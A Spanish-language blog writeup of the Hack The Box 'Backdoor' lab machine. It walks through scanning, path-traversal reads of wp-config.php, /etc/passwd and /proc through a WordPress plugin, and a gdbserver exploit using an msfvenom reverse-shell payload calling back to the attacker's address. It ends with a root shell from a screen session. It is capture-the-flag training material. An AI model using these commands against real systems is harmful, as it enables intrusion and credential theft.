Saltar al contenido

HackTheBox – Backdoor – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Backdoor de Hack The Box. Es una máquina Linux, de nivel fácil, basada en un Remote Code Execution (RCE) y permisos de procesos en ejecución.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.11.125 -Pn

En la máquina hay tres puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p22,80,1337 -sC -sV 10.10.11.125

HTTP

Entro en la web del puerto 80, y lo primero que me voy es una de las plantillas por defecto de WordPress.

Escaneo la web utilizando wpscan enumerando todos los plugins (de forma agresiva), los temas mas populares y los usuarios.

wpscan --url http://10.10.11.125/ -e ap,t,u --plugins-detection aggressive

En el escaneo encuentro el plugin ebook-download, que tiene una vulnerabilidad de Directory Listing y el usuario admin.

Investigo un poco y encuentro esta guía en exploit-db para aprovechar la vulnerabilidad encontrada. Sigo la guía y accedo al fichero readme.txt dirigiéndome a la ruta http://10.10.11.125/wp-content/plugins/ebook-download/readme.txt.

Siendo un WordPress, lo primero que se me ocurre es ir al fichero wp-config.php para buscar credenciales. Para ello me dirijo a la ruta http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php y consigo una contraseña.

Consigo las credenciales wordpressuser:MQYBJSaD#DxG6qbm pero no puedo autenticarme con ellas en el sistema. Saco el contenido de /etc/passwd para buscar algún otro usuario al que poder autenticarme pero tampoco lo consigo.

curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../etc/passwd

Reviso los procesos internos que se están ejecutando en el sistema y veo que se está ejecutando gdbserver.

curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/sched_debug

Leo la cmdline del proceso y veo que se está ejecutando en el puerto 1337 (que está abierto pero desconocía el servicio).

curl http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/1416/cmdline --output cmdline
cat cmdline

Explotación

Busco un poco y enseguida encuentro esta guía para RCE en gdbserver de exploit-db. Primero tengo que crear un binario malicioso con msfvenom.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=1337 PrependFork=true -o rev.bin

Pongo un netcat a la escucha por el puerto 1337 y ejecuto el exploit, consiguiendo una shell reversa.

python3 50539.py 10.10.11.125:1337 rev.bin

La flag de usuario la encuentro en /home/user/local.txt.

Escalada de Privilegios

Enumero los procesos y veo que screen se está ejecutando como root.

Unirme a este proceso es muy sencillo, solamente tengo que ejecutar el siguiente comando y ya consigo una shell de root.

screen -x root/root

La flag de root la encuentro en la ruta /root/root.txt.

Publicado enCTFHTBLinuxOSCP